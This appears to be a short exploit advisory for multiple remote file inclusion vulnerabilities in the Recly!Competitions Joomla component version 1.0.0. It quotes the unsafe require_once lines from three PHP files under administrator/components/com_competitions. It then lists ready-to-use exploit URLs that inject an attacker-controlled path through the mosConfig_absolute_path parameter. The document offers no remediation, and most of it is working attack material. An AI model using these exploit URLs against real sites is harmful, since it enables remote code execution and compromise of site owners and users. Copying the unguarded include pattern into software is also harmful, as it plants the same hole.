[o] Recly!Competitions Joomla Component 1.0.0 Multiple Remote File Inclusion Vulnerabilities
Software : com_competitions version 1.0.0
Vendor : http://www.recly.com
Download : http://www.recly.com/index.php?option=com_recly&task=product_page&id=12
Author : NoGe
[o] Vulnerable file
administrator/components/com_competitions/includes/competitions/add.php
require_once($GLOBALS['mosConfig_absolute_path'] . '/components/com_competitions/lib/common/GlobalVariables.class.php');
administrator/components/com_competitions/includes/competitions/competitions.php
require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/includes/pageNavigation.php' );
administrator/components/com_competitions/includes/settings/settings.php
require_once($mosConfig_absolute_path.'/components/com_competitions/lib/common/String.class.php');
[o] Exploit
http://localhost/[path]/administrator/components/com_competitions/includes/competitions/add.php?GLOBALS[mosConfig_absolute_path]=[evilcode]
http://localhost/[path]/administrator/components/com_competitions/includes/competitions/competitions.php?GLOBALS[mosConfig_absolute_path]=[evilcode]
http://localhost/[path]/administrator/components/com_competitions/includes/settings/settings.php?mosConfig_absolute_path=[evilcode]